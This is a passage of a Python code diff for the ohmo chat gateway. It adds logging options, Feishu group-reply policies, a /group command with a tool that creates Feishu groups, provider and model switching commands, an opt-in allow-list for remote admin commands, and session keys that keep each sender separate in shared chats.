"Remote admin opt-in enabled for: "
+ ", ".join(f"/{name}" for name in config.allowed_remote_admin_commands)
)
else:
print("Remote admin commands remain local-only.")
def _maybe_restart_gateway(*, cwd: str | Path, workspace: str | Path) -> None:
@@ -342,18 +408,42 @@ def _maybe_restart_gateway(*, cwd: str | Path, workspace: str | Path) -> None:
print(f"ohmo gateway restarted (pid={pid})")
def _configure_gateway_logging(workspace: str | Path | None = None) -> None:
def _configure_gateway_logging(
workspace: str | Path | None = None,
*,
console: bool = True,
log_file: bool = True,
) -> None:
"""Configure foreground gateway logging."""
config = load_gateway_config(workspace)
level_name = str(config.log_level or "INFO").upper()
level = getattr(logging, level_name, logging.INFO)
handlers = _build_gateway_logging_handlers(workspace, console=console, log_file=log_file)
logging.basicConfig(
level=level,
format="%(asctime)s [%(name)s] %(levelname)s %(message)s",
handlers=handlers,
force=True,
)
def _build_gateway_logging_handlers(
workspace: str | Path | None = None,
*,
console: bool,
log_file: bool,
) -> list[logging.Handler]:
"""Build gateway log handlers for foreground and daemon modes."""
handlers: list[logging.Handler] = []
if console:
handlers.append(logging.StreamHandler())
if log_file:
log_path = get_logs_dir(workspace) / "gateway.log"
log_path.parent.mkdir(parents=True, exist_ok=True)
handlers.append(logging.FileHandler(log_path, encoding="utf-8", delay=True))
return handlers
@app.callback(invoke_without_command=True)
def main(
ctx: typer.Context,
@@ -572,9 +662,11 @@ def user_edit_cmd(
def gateway_run_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
console_log: bool = typer.Option(True, "--console-log/--no-console-log", hidden=True),
log_file: bool = typer.Option(True, "--log-file/--no-log-file", hidden=True),
) -> None:
"""Run the ohmo gateway in the foreground."""
_configure_gateway_logging(workspace)
_configure_gateway_logging(workspace, console=console_log, log_file=log_file)
service = OhmoGatewayService(cwd, workspace)
raise SystemExit(asyncio.run(service.run_foreground()))
+173 -2
View File
@@ -5,10 +5,13 @@ from __future__ import annotations
import asyncio
import logging
from collections.abc import Awaitable, Callable
from pathlib import Path
from openharness.channels.bus.events import InboundMessage
from openharness.channels.bus.events import OutboundMessage
from openharness.channels.bus.queue import MessageBus
from ohmo.group_registry import load_managed_group_record
from ohmo.gateway.router import session_key_for_message
from ohmo.gateway.runtime import OhmoSessionRuntimePool
@@ -59,10 +62,14 @@ class OhmoGatewayBridge:
bus: MessageBus,
runtime_pool: OhmoSessionRuntimePool,
restart_gateway: Callable[[object, str], Awaitable[None] | None] | None = None,
workspace: str | Path | None = None,
feishu_group_policy: str = "open",
) -> None:
self._bus = bus
self._runtime_pool = runtime_pool
self._restart_gateway = restart_gateway
self._workspace = workspace
self._feishu_group_policy = _normalize_feishu_group_policy(feishu_group_policy)
self._running = False
self._session_tasks: dict[str, asyncio.Task[None]] = {}
self._session_cancel_reasons: dict[str, str] = {}
@@ -77,6 +84,17 @@ class OhmoGatewayBridge:
except asyncio.CancelledError:
break
if not self._should_process_message(message):
logger.info(
"ohmo inbound ignored channel=%s chat_id=%s sender_id=%s reason=feishu_group_policy policy=%s content=%r",
message.channel,
message.chat_id,
message.sender_id,
self._feishu_group_policy,
_content_snippet(message.content),
)
continue
session_key = session_key_for_message(message)
logger.info(
"ohmo inbound received channel=%s chat_id=%s sender_id=%s session_key=%s content=%r",
@@ -92,6 +110,13 @@ class OhmoGatewayBridge:
if message.content.strip() == "/restart":
await self._handle_restart(message, session_key)
continue
group_args = _parse_group_command(message.content)
if group_args is not None:
prepared = await self._prepare_group_prompt_message(message, session_key, group_args)
if prepared is None:
continue
message = prepared
session_key = session_key_for_message(message)
await self._interrupt_session(
session_key,
reason="replaced by a newer user message",
@@ -148,6 +173,58 @@ class OhmoGatewayBridge:
if asyncio.iscoroutine(result):
await result
async def _prepare_group_prompt_message(
self,
message,
session_key: str,
args: str,
) -> InboundMessage | None:
"""Convert a private /group command into an agent task."""
if message.channel != "feishu":
await self._publish_command_reply(
message,
session_key,
"/group 当前只支持飞书。\n/group is currently only available for Feishu.",
)
return None
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
is_private = chat_type in {"p2p", "private", "im", "direct"} or (
not chat_type and str(message.chat_id) == str(message.sender_id)
)
if not is_private:
await self._publish_command_reply(
message,
session_key,
"请在和 ohmo 的私聊里使用 /group 创建新群。\nUse /group in a private chat with ohmo to create a new group.",
)
return None
metadata = dict(message.metadata)
metadata["_ohmo_group_command"] = True
metadata["_ohmo_group_raw_request"] = args
prompt = _build_group_agent_prompt(args)
return InboundMessage(
channel=message.channel,
sender_id=message.sender_id,
chat_id=message.chat_id,
content=prompt,
timestamp=message.timestamp,
media=list(message.media),
metadata=metadata,
session_key_override=message.session_key_override,
)
async def _publish_command_reply(self, message, session_key: str, content: str) -> None:
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content=content,
metadata={"_session_key": session_key},
)
)
async def _interrupt_session(
self,
session_key: str,
@@ -169,11 +246,24 @@ class OhmoGatewayBridge:
return True
async def _process_message(self, message, session_key: str) -> None:
# Preserve thread metadata only for shared chats. Feishu p2p replies
# should stay as normal private messages, not topic replies.
inbound_meta = {
k: message.metadata[k] for k in ("thread_id",) if k in message.metadata
}
chat_type = str(message.metadata.get("chat_type") or "").lower()
if chat_type == "group" or inbound_meta.get("thread_id"):
if "message_id" in message.metadata:
inbound_meta["message_id"] = message.metadata["message_id"]
try:
reply = ""
final_media: list[str] = []
final_metadata: dict[str, object] = {}
async for update in self._runtime_pool.stream_message(message, session_key):
if update.kind == "final":
reply = update.text
final_media = list(getattr(update, "media", None) or (update.metadata or {}).get("_media") or [])
final_metadata = dict(update.metadata or {})
continue
if not update.text:
continue
@@ -190,7 +280,8 @@ class OhmoGatewayBridge:
channel=message.channel,
chat_id=message.chat_id,
content=update.text,
metadata=update.metadata,
media=list(getattr(update, "media", None) or (update.metadata or {}).get("_media") or []),
metadata={**inbound_meta, **(update.metadata or {})},
)
)
except asyncio.CancelledError:
@@ -232,7 +323,8 @@ class OhmoGatewayBridge:
channel=message.channel,
chat_id=message.chat_id,
content=reply,
metadata={"_session_key": session_key},
media=final_media,
metadata={**inbound_meta, **final_metadata, "_session_key": session_key},
)
)
@@ -241,3 +333,82 @@ class OhmoGatewayBridge:
if current is task:
self._session_tasks.pop(session_key, None)
self._session_cancel_reasons.pop(session_key, None)
def _should_process_message(self, message: InboundMessage) -> bool:
if message.channel != "feishu":
return True
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
if chat_type != "group":
return True
policy = self._feishu_group_policy
if policy == "open":
return True
mentioned = _message_mentions_bot(message)
if policy == "mention":
return mentioned
if policy == "managed":
return self._is_managed_feishu_group(message.chat_id)
if policy == "managed_or_mention":
return mentioned or self._is_managed_feishu_group(message.chat_id)
return mentioned
def _is_managed_feishu_group(self, chat_id: str) -> bool:
try:
return load_managed_group_record(
workspace=self._workspace,
channel="feishu",
chat_id=chat_id,
) is not None
except Exception:
logger.exception("failed to load ohmo managed group metadata chat_id=%s", chat_id)
return False
def _parse_group_command(content: str) -> str | None:
stripped = content.strip()
parts = stripped.split(maxsplit=1)
if not parts or parts[0] != "/group":
return None
if len(parts) == 1:
return ""
return parts[1].strip()
def _build_group_agent_prompt(raw_request: str) -> str:
request = raw_request.strip() or "(user did not provide details)"
return (
"The user invoked `/group` from a Feishu private chat.\n"
"Your task is to create a dedicated Feishu group for this request.\n\n"
"Use the `ohmo_create_feishu_group` tool exactly once if you can infer a safe group name. "
"You, the model, must decide the final `name`, optional `repo`, and optional `cwd` from the user's "
"natural-language request and available local context. If the cwd is not obvious, inspect the filesystem "
"before calling the tool. If there is not enough information to choose safely, ask one concise clarification "
"instead of calling the tool. Do not create the group via bash or direct API calls.\n\n"
f"User /group request:\n{request}"
)
def _normalize_feishu_group_policy(value: str | None) -> str:
normalized = str(value or "").strip().lower().replace("-", "_")
aliases = {
"all": "open",
"always": "open",
"always_reply": "open",
"managed_mention": "managed_or_mention",
"managed_or_at": "managed_or_mention",
"at": "mention",
"mentions": "mention",
}
normalized = aliases.get(normalized, normalized)
if normalized in {"open", "mention", "managed", "managed_or_mention"}:
return normalized
return "managed_or_mention"
def _message_mentions_bot(message: InboundMessage) -> bool:
value = message.metadata.get("mentions_bot")
if isinstance(value, bool):
return value
if isinstance(value, str):
return value.strip().lower() in {"1", "true", "yes", "y"}
return False
+158
View File
@@ -0,0 +1,158 @@
"""ohmo-only Feishu group management tool."""
from __future__ import annotations
import asyncio
from collections.abc import Awaitable, Callable
from pathlib import Path
from pydantic import BaseModel, Field
from openharness.tools.base import BaseTool, ToolExecutionContext, ToolResult
from ohmo.group_registry import normalize_group_name, save_managed_group_record
CreateFeishuGroup = Callable[[str, str], Awaitable[str] | str]
PublishGroupWelcome = Callable[[str, str, str], Awaitable[None] | None]
class OhmoCreateFeishuGroupInput(BaseModel):
"""Arguments selected by the model for creating a Feishu group."""
name: str = Field(description="Final Feishu group name to create.")
cwd: str | None = Field(
default=None,
description="Workspace directory to bind to the group. Use an absolute path, ~ path, or path relative to cwd.",
)
repo: str | None = Field(
default=None,
description="Repository identifier associated with the group, for example HKUDS/OpenHarness.",
)
reason: str | None = Field(
default=None,
description="Short reason explaining why these name/cwd/repo values were chosen.",
)
class OhmoCreateFeishuGroupTool(BaseTool):
"""Create a Feishu group for the current ohmo private-chat requester."""
name = "ohmo_create_feishu_group"
description = (
"Create a Feishu group for the current private-chat /group request and bind optional cwd/repo metadata. "
"Only use this after the user explicitly invokes /group. Infer name, cwd, and repo from the user's "
"natural-language request and the local workspace context; inspect files first if needed."
)
input_model = OhmoCreateFeishuGroupInput
def __init__(
self,
*,
workspace: str | Path | None,
create_group: CreateFeishuGroup,
publish_group_welcome: PublishGroupWelcome | None = None,
) -> None:
self._workspace = workspace
self._create_group = create_group
self._publish_group_welcome = publish_group_welcome
def is_read_only(self, arguments: OhmoCreateFeishuGroupInput) -> bool:
# Permission is enforced by the slash-command context guard below. This
# tool is only registered inside ohmo gateway sessions and cannot run
# unless the current inbound message was a private Feishu /group request.
del arguments
return True
async def execute(self, arguments: OhmoCreateFeishuGroupInput, context: ToolExecutionContext) -> ToolResult:
request = context.metadata.get("ohmo_group_request")
if not isinstance(request, dict):
return ToolResult(
output="ohmo_create_feishu_group can only run immediately after a Feishu private /group request.",
is_error=True,
)
if request.get("used"):
return ToolResult(output="This /group request has already created a group.", is_error=True)
if request.get("channel") != "feishu" or request.get("chat_type") not in {"p2p", "private", "im", "direct", ""}:
return ToolResult(output="/group group creation is only allowed from a Feishu private chat.", is_error=True)
owner_open_id = str(request.get("sender_id") or "").strip()
if not owner_open_id:
return ToolResult(output="Cannot create group: missing Feishu requester open_id.", is_error=True)
try:
name = normalize_group_name(arguments.name)
except ValueError as exc:
return ToolResult(output=f"Cannot create group: {exc}", is_error=True)
cwd = _resolve_cwd(arguments.cwd, context.cwd)
if cwd is not None and not Path(cwd).is_dir():
return ToolResult(output=f"Cannot bind cwd because the directory does not exist: {cwd}", is_error=True)
try:
result = self._create_group(owner_open_id, name)
chat_id = await result if asyncio.iscoroutine(result) else result
except Exception as exc:
return ToolResult(output=f"Cannot create Feishu group: {exc}", is_error=True)
chat_id = str(chat_id).strip()
if not chat_id:
return ToolResult(output="Cannot create group: Feishu returned an empty chat_id.", is_error=True)
request["used"] = True
try:
record_path = save_managed_group_record(
workspace=self._workspace,
channel="feishu",
chat_id=chat_id,
owner_open_id=owner_open_id,
name=name,
cwd=cwd,
repo=arguments.repo,
binding_status="bound" if cwd else "pending_agent",
metadata={
"source": "slash_group_tool",
"raw_group_request": request.get("raw_request"),
"source_chat_id": request.get("source_chat_id"),
"source_session_key": request.get("source_session_key"),
"sender_display_name": request.get("sender_display_name"),
"tool_reason": arguments.reason,
},
)
except Exception as exc:
return ToolResult(
output=f"Created Feishu group {chat_id}, but failed to save metadata: {exc}",
is_error=True,
metadata={"chat_id": chat_id},
)
welcome = (
"这个群已经创建好。"
+ (f"\n已绑定工作目录:{cwd}" if cwd else "")
+ (f"\n关联仓库:{arguments.repo}" if arguments.repo else "")
+ "\n这个 ohmo 管理的群默认可以不用 @ 直接和我说话;普通群仍建议 @ohmo 触发。"
+ "\n如果我没有响应,请确认飞书应用已开通接收群聊所有消息的权限。"
)
if self._publish_group_welcome is not None:
published = self._publish_group_welcome(chat_id, welcome, owner_open_id)
if asyncio.iscoroutine(published):
await published
lines = [
f"Created Feishu group: {name}",
f"chat_id: {chat_id}",
f"metadata: {record_path}",
]
if cwd:
lines.append(f"cwd: {cwd}")
if arguments.repo:
lines.append(f"repo: {arguments.repo}")
return ToolResult(output="\n".join(lines), metadata={"chat_id": chat_id, "cwd": cwd, "repo": arguments.repo})
def _resolve_cwd(raw: str | None, base_cwd: Path) -> str | None:
if raw is None or not str(raw).strip():
return None
path = Path(str(raw).strip()).expanduser()
if not path.is_absolute():
path = base_cwd / path
return str(path.resolve())
+2
View File
@@ -15,6 +15,8 @@ class GatewayConfig(BaseModel):
send_tool_hints: bool = True
permission_mode: str = "default"
sandbox_enabled: bool = False
allow_remote_admin_commands: bool = False
allowed_remote_admin_commands: list[str] = Field(default_factory=list)
log_level: str = "INFO"
channel_configs: dict[str, dict] = Field(default_factory=dict)
+78
View File
@@ -0,0 +1,78 @@
"""Proactive notification helpers for ohmo gateway channels."""
from __future__ import annotations
import asyncio
import json
import logging
from pathlib import Path
from typing import Any
from ohmo.gateway.config import load_gateway_config
logger = logging.getLogger(__name__)
class OhmoNotificationError(RuntimeError):
"""Raised when a proactive notification cannot be delivered."""
def _chunk_text(text: str, *, max_chars: int = 1800) -> list[str]:
"""Split text into message-sized chunks without losing content."""
stripped = text.strip()
if not stripped:
return []
chunks: list[str] = []
remaining = stripped
while len(remaining) > max_chars:
split_at = remaining.rfind("\n", 0, max_chars)
if split_at < max_chars // 2:
split_at = max_chars
chunks.append(remaining[:split_at].strip())
remaining = remaining[split_at:].strip()
if remaining:
chunks.append(remaining)
return chunks
def _send_feishu_text_sync(*, user_open_id: str, content: str, workspace: str | Path | None = None) -> None:
"""Send a Feishu direct message using ohmo gateway Feishu credentials."""
try:
import lark_oapi as lark
from lark_oapi.api.im.v1 import CreateMessageRequest, CreateMessageRequestBody
except ImportError as exc: # pragma: no cover - depends on optional extra
raise OhmoNotificationError("Feishu SDK is not installed. Run: pip install lark-oapi") from exc
config = load_gateway_config(workspace)
feishu_config: dict[str, Any] = config.channel_configs.get("feishu", {})
app_id = str(feishu_config.get("app_id") or "").strip()
app_secret = str(feishu_config.get("app_secret") or "").strip()
if not app_id or not app_secret:
raise OhmoNotificationError("Feishu app_id/app_secret are not configured in ohmo gateway config.")
client = lark.Client.builder().app_id(app_id).app_secret(app_secret).log_level(lark.LogLevel.INFO).build()
for chunk in _chunk_text(content):
request = (
CreateMessageRequest.builder()
.receive_id_type("open_id")
.request_body(
CreateMessageRequestBody.builder()
.receive_id(user_open_id)
.msg_type("text")
.content(json.dumps({"text": chunk}, ensure_ascii=False))
.build()
)
.build()
)
response = client.im.v1.message.create(request)
if not response.success():
log_id = response.get_log_id() if hasattr(response, "get_log_id") else ""
raise OhmoNotificationError(
f"send Feishu DM failed: code={response.code}, msg={response.msg}, log_id={log_id}"
)
async def send_feishu_dm(*, user_open_id: str, content: str, workspace: str | Path | None = None) -> None:
"""Send a proactive Feishu direct message to a user open_id."""
await asyncio.to_thread(_send_feishu_text_sync, user_open_id=user_open_id, content=content, workspace=workspace)
logger.info("Sent proactive Feishu DM to open_id=%s", user_open_id)
+139
View File
@@ -0,0 +1,139 @@
"""ohmo gateway-scoped provider and model commands."""
from __future__ import annotations
from pathlib import Path
from openharness.auth.manager import AuthManager
from openharness.config import load_settings
from ohmo.gateway.config import load_gateway_config, save_gateway_config
def handle_gateway_provider_command(args: str, *, workspace: str | Path | None) -> tuple[str, bool]:
"""Handle ``/provider`` against the ohmo gateway config."""
tokens = args.split()
statuses = AuthManager(load_settings()).get_profile_statuses()
config = load_gateway_config(workspace)
active = config.provider_profile
if not tokens or tokens[0] == "show":
info = statuses.get(active)
if info is None:
return f"ohmo gateway provider_profile: {active}\nStatus: unknown profile", False
return (
f"ohmo gateway provider_profile: {active}\n"
f"Label: {info['label']}\n"
f"Configured: {'yes' if info['configured'] else 'no'}\n"
f"Base URL: {info['base_url'] or '(default)'}\n"
f"Model: {info['model']}",
False,
)
if tokens[0] == "list":
lines = ["ohmo gateway provider profiles:"]
for name, info in statuses.items():
marker = "*" if name == active else " "
configured = "ready" if info["configured"] else "missing auth"
lines.append(f"{marker} {name} [{configured}] {info['label']} -> {info['model']}")
return "\n".join(lines), False
target = tokens[1] if tokens[0] == "use" and len(tokens) == 2 else (tokens[0] if len(tokens) == 1 else None)
if target is None:
return "Usage: /provider [show|list|PROFILE]", False
if target not in statuses:
return f"Unknown provider profile: {target}", False
if target == active:
return f"ohmo gateway already uses provider_profile={target}.", False
save_gateway_config(config.model_copy(update={"provider_profile": target}), workspace)
info = statuses[target]
configured = "ready" if info["configured"] else "missing auth"
return (
f"ohmo gateway provider_profile set to {target} ({info['label']}, {configured}).\n"
"Refreshing the current ohmo runtime to apply it.",
True,
)
def handle_gateway_model_command(args: str, *, workspace: str | Path | None) -> tuple[str, bool]:
"""Handle ``/model`` against the profile selected by ohmo gateway."""
settings = load_settings()
manager = AuthManager(settings)
config = load_gateway_config(workspace)
profile_name = config.provider_profile
profiles = manager.list_profiles()
profile = profiles.get(profile_name)
if profile is None:
return f"ohmo gateway provider_profile is unknown: {profile_name}", False
tokens = args.split(maxsplit=1)
if not tokens or tokens[0] == "show":
return _format_model_status(profile_name, profile), False
if tokens[0] == "list":
if profile.allowed_models:
return (
f"Switchable models for ohmo gateway profile '{profile_name}':\n"
+ "\n".join(f"- {model}" for model in profile.allowed_models)
), False
return (
f"Profile '{profile_name}' has no pinned model list. "
"Any model value is accepted. Use /model add MODEL to pin one."
), False
if tokens[0] == "add" and len(tokens) == 2:
model_name = tokens[1].strip()
if not model_name:
return "Usage: /model add MODEL", False
manager.update_profile(profile_name, allowed_models=_dedupe([*_seed_models(profile), model_name]))
return f"Added model '{model_name}' to ohmo gateway profile '{profile_name}'.", False
if tokens[0] == "add":
return "Usage: /model add MODEL", False
if tokens[0] in {"remove", "rm"} and len(tokens) == 2:
model_name = tokens[1].strip()
models = [model for model in _dedupe(profile.allowed_models) if model != model_name]
if len(models) == len(_dedupe(profile.allowed_models)):
return f"Model '{model_name}' is not pinned for ohmo gateway profile '{profile_name}'.", False
reset_current = (profile.last_model or "").strip() == model_name
manager.update_profile(profile_name, allowed_models=models, last_model="" if reset_current else None)
return f"Removed model '{model_name}' from ohmo gateway profile '{profile_name}'.", True
if tokens[0] in {"remove", "rm"}:
return "Usage: /model remove MODEL", False
if tokens[0] == "clear":
manager.update_profile(profile_name, allowed_models=[])
return f"Cleared pinned models for ohmo gateway profile '{profile_name}'.", False
model_name = tokens[1].strip() if tokens[0] == "set" and len(tokens) == 2 else args.strip()
if not model_name:
return "Usage: /model [show|list|add MODEL|remove MODEL|clear|MODEL]", False
if profile.allowed_models and model_name.lower() != "default" and model_name not in profile.allowed_models:
allowed = ", ".join(profile.allowed_models)
return f"Model '{model_name}' is not allowed for ohmo gateway profile '{profile_name}'. Allowed models: {allowed}", False
if model_name.lower() == "default":
manager.update_profile(profile_name, last_model="")
return f"ohmo gateway model reset to default for profile '{profile_name}'. Refreshing runtime to apply it.", True
manager.update_profile(profile_name, last_model=model_name)
return f"ohmo gateway model set to {model_name} for profile '{profile_name}'. Refreshing runtime to apply it.", True
def _format_model_status(profile_name, profile) -> str:
lines = [
f"ohmo gateway model: {profile.resolved_model}",
f"Profile: {profile_name}",
]
if profile.allowed_models:
lines.append("Available models:")
lines.extend(f"- {model}" for model in profile.allowed_models)
else:
lines.append("Available models: unrestricted for this profile")
lines.append("Use /model add MODEL to pin switchable models.")
return "\n".join(lines)
def _dedupe(values) -> list[str]:
seen: set[str] = set()
result: list[str] = []
for value in values:
model = str(value).strip()
if model and model not in seen:
result.append(model)
seen.add(model)
return result
def _seed_models(profile) -> list[str]:
return _dedupe([*profile.allowed_models, profile.resolved_model])
+13 -2
View File
@@ -6,15 +6,26 @@ from openharness.channels.bus.events import InboundMessage
def session_key_for_message(message: InboundMessage) -> str:
"""Route sessions by chat and thread when available."""
"""Route sessions by chat, isolating shared chats by thread/sender.
Private chats keep the original ``channel:chat_id`` key so existing long
ohmo sessions remain resumable. Group/shared chats include sender identity
to avoid multiple people sharing one agent memory.
"""
if message.session_key_override:
return message.session_key_override
sender_id = str(message.sender_id).strip() or "anonymous"
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
is_shared_chat = chat_type in {"group", "chat", "supergroup", "channel", "room"}
thread_id = (
message.metadata.get("thread_id")
or message.metadata.get("thread_ts")
or message.metadata.get("message_thread_id")
)
if thread_id:
if is_shared_chat:
return f"{message.channel}:{message.chat_id}:{thread_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}:{thread_id}"
if is_shared_chat:
return f"{message.channel}:{message.chat_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}"
+536 -41
View File
@@ -9,11 +9,17 @@ import mimetypes
from pathlib import Path
import json
import os
import re
import string
from openharness.channels.bus.events import InboundMessage
from openharness.commands import CommandContext
from openharness.engine.messages import ConversationMessage, ImageBlock, TextBlock
from openharness.commands import CommandContext, CommandResult, lookup_skill_slash_command
from openharness.engine.messages import (
ConversationMessage,
ImageBlock,
TextBlock,
sanitize_conversation_messages,
)
from openharness.engine.query import MaxTurnsExceeded
from openharness.engine.stream_events import (
AssistantTextDelta,
@@ -27,9 +33,14 @@ from openharness.engine.stream_events import (
from openharness.prompts import build_runtime_system_prompt
from openharness.ui.runtime import RuntimeBundle, _last_user_text, build_runtime, close_runtime, start_runtime
from ohmo.gateway.config import load_gateway_config
from ohmo.gateway.group_tool import CreateFeishuGroup, OhmoCreateFeishuGroupTool, PublishGroupWelcome
from ohmo.gateway.provider_commands import handle_gateway_model_command, handle_gateway_provider_command
from ohmo.group_registry import load_managed_group_record, normalize_cwd
from ohmo.memory import create_memory_command_backend
from ohmo.prompts import build_ohmo_system_prompt
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import get_plugins_dir, get_skills_dir, initialize_workspace
from ohmo.workspace import get_memory_dir, get_plugins_dir, get_sessions_dir, get_skills_dir, initialize_workspace
logger = logging.getLogger(__name__)
@@ -52,6 +63,25 @@ _CHANNEL_THINKING_PHRASES_EN = (
_TEXT_PREVIEW_BYTES = 4096
_TEXT_PREVIEW_CHARS = 900
_BINARY_HEAD_BYTES = 32
_FINAL_REPLY_IMAGE_PATH_RE = re.compile(
r"(?P<path>(?:[A-Za-z]:[\\/]|/)[^\r\n`\"'<>|?*\x00]+?\.(?:png|jpe?g|webp|gif|bmp))",
re.IGNORECASE,
)
_IMAGE_FALLBACK_NOTE = (
"[Image attachment omitted because the active model does not support image input. "
"Use the attachment paths and summaries above if needed.]"
)
_NO_GROUP_REQUEST = object()
_GROUP_TOOL_NAME = "ohmo_create_feishu_group"
_GROUP_AGENT_PROMPT_PREFIX = "The user invoked `/group` from a Feishu private chat."
_GROUP_AGENT_PROMPT_REQUEST_MARKER = "User /group request:"
_GROUP_METADATA_KEYS = (
"task_focus_state",
"recent_work_log",
"recent_verified_work",
"compact_checkpoints",
"compact_last",
)
@dataclass(frozen=True)
@@ -61,6 +91,7 @@ class GatewayStreamUpdate:
kind: str
text: str
metadata: dict[str, object]
media: list[str] | None = None
class OhmoSessionRuntimePool:
@@ -74,13 +105,18 @@ class OhmoSessionRuntimePool:
provider_profile: str,
model: str | None = None,
max_turns: int | None = None,
create_feishu_group: CreateFeishuGroup | None = None,
publish_group_welcome: PublishGroupWelcome | None = None,
) -> None:
self._cwd = str(Path(cwd).resolve())
self._workspace = workspace
self._provider_profile = provider_profile
self._model = model
self._max_turns = max_turns
self._create_feishu_group = create_feishu_group
self._publish_group_welcome = publish_group_welcome
self._workspace = initialize_workspace(workspace)
self._gateway_config = load_gateway_config(self._workspace)
self._session_backend = OhmoSessionBackend(self._workspace)
self._bundles: dict[str, RuntimeBundle] = {}
@@ -88,18 +124,60 @@ class OhmoSessionRuntimePool:
def active_sessions(self) -> int:
return len(self._bundles)
async def get_bundle(self, session_key: str, latest_user_prompt: str | None = None) -> RuntimeBundle:
def _remote_admin_allowed(self, command) -> bool:
if not getattr(command, "remote_admin_opt_in", False):
return False
if not self._gateway_config.allow_remote_admin_commands:
return False
allowed = {
str(name).strip().lower()
for name in self._gateway_config.allowed_remote_admin_commands
if str(name).strip()
}
return command.name.lower() in allowed
def _handle_gateway_scoped_command(self, command_name: str, args: str) -> tuple[str, bool] | None:
lowered = command_name.lower()
if lowered == "provider":
result = handle_gateway_provider_command(args, workspace=self._workspace)
elif lowered == "model":
result = handle_gateway_model_command(args, workspace=self._workspace)
else:
return None
if result[1]:
self._gateway_config = load_gateway_config(self._workspace)
self._provider_profile = self._gateway_config.provider_profile
return result
async def get_bundle(
self,
session_key: str,
latest_user_prompt: str | None = None,
cwd: str | Path | None = None,
) -> RuntimeBundle:
"""Return an existing bundle or create a new one."""
session_cwd = str(Path(cwd or self._cwd).expanduser().resolve())
bundle = self._bundles.get(session_key)
if bundle is not None:
logger.info(
"ohmo runtime reusing session session_key=%s session_id=%s prompt=%r",
session_key,
bundle.session_id,
_content_snippet(latest_user_prompt or ""),
)
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, latest_user_prompt))
return bundle
bundle_cwd = str(Path(getattr(bundle, "cwd", self._cwd)).resolve())
if bundle_cwd != session_cwd:
logger.info(
"ohmo runtime recreating session for cwd change session_key=%s old_cwd=%s new_cwd=%s",
session_key,
bundle_cwd,
session_cwd,
)
await close_runtime(bundle)
self._bundles.pop(session_key, None)
else:
logger.info(
"ohmo runtime reusing session session_key=%s session_id=%s prompt=%r",
session_key,
bundle.session_id,
_content_snippet(latest_user_prompt or ""),
)
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, latest_user_prompt))
return bundle
snapshot = self._session_backend.load_latest_for_session_key(session_key)
logger.info(
@@ -109,20 +187,31 @@ class OhmoSessionRuntimePool:
_content_snippet(latest_user_prompt or ""),
)
bundle = await build_runtime(
cwd=session_cwd,
model=self._model,
max_turns=self._max_turns,
system_prompt=build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None),
system_prompt=build_ohmo_system_prompt(session_cwd, workspace=self._workspace, extra_prompt=None),
active_profile=self._provider_profile,
session_backend=self._session_backend,
enforce_max_turns=self._max_turns is not None,
restore_messages=snapshot.get("messages") if snapshot else None,
restore_tool_metadata=snapshot.get("tool_metadata") if snapshot else None,
restore_messages=_sanitize_snapshot_messages(snapshot.get("messages") if snapshot else None),
restore_tool_metadata=_sanitize_group_command_metadata(snapshot.get("tool_metadata") if snapshot else None),
extra_skill_dirs=(str(get_skills_dir(self._workspace)),),
extra_plugin_roots=(str(get_plugins_dir(self._workspace)),),
memory_backend=create_memory_command_backend(self._workspace),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(self._workspace)),
"session_dir": str(get_sessions_dir(self._workspace)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
if snapshot and snapshot.get("session_id"):
bundle.session_id = str(snapshot["session_id"])
self._register_gateway_tools(bundle)
await start_runtime(bundle)
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, latest_user_prompt))
logger.info(
"ohmo runtime started session_key=%s session_id=%s restored_messages=%s",
session_key,
@@ -136,7 +225,9 @@ class OhmoSessionRuntimePool:
"""Submit an inbound channel message and yield progress + final reply updates."""
user_message = _build_inbound_user_message(message)
user_prompt = user_message.text
bundle = await self.get_bundle(session_key, latest_user_prompt=user_prompt)
command_prompt = (message.content or "").strip()
session_cwd = self._cwd_for_message(message)
bundle = await self.get_bundle(session_key, latest_user_prompt=user_prompt, cwd=session_cwd)
logger.info(
"ohmo runtime processing start channel=%s chat_id=%s session_key=%s session_id=%s content=%r",
message.channel,
@@ -146,24 +237,73 @@ class OhmoSessionRuntimePool:
_content_snippet(user_prompt),
)
parsed = bundle.commands.lookup(user_prompt)
command_context: CommandContext | None = None
def get_command_context() -> CommandContext:
nonlocal command_context
if command_context is None:
command_context = CommandContext(
engine=bundle.engine,
hooks_summary=getattr(bundle, "hook_summary", lambda: "")(),
mcp_summary=getattr(bundle, "mcp_summary", lambda: "")(),
plugin_summary=getattr(bundle, "plugin_summary", lambda: "")(),
cwd=getattr(bundle, "cwd", str(self._cwd)),
tool_registry=getattr(bundle, "tool_registry", None),
app_state=getattr(bundle, "app_state", None),
session_backend=getattr(bundle, "session_backend", self._session_backend),
session_id=getattr(bundle, "session_id", None),
extra_skill_dirs=getattr(bundle, "extra_skill_dirs", ()),
extra_plugin_roots=getattr(bundle, "extra_plugin_roots", ()),
memory_backend=create_memory_command_backend(self._workspace),
include_project_memory=False,
)
return command_context
parsed = bundle.commands.lookup(command_prompt)
if parsed is None and not message.media:
parsed = lookup_skill_slash_command(command_prompt, get_command_context())
if parsed is not None and not message.media:
command, args = parsed
command_name = str(getattr(command, "name", "") or "")
remote_allowed = getattr(command, "remote_invocable", True)
if not remote_allowed and self._remote_admin_allowed(command):
remote_allowed = True
logger.warning(
"ohmo gateway remote administrative command accepted channel=%s chat_id=%s sender_id=%s command=%s",
message.channel,
message.chat_id,
message.sender_id,
command_name,
)
if not remote_allowed:
result = CommandResult(
message=f"/{command_name} is only available in the local OpenHarness UI."
)
async for update in self._stream_command_result(
bundle=bundle,
message=message,
session_key=session_key,
user_prompt=user_prompt,
result=result,
):
yield update
return
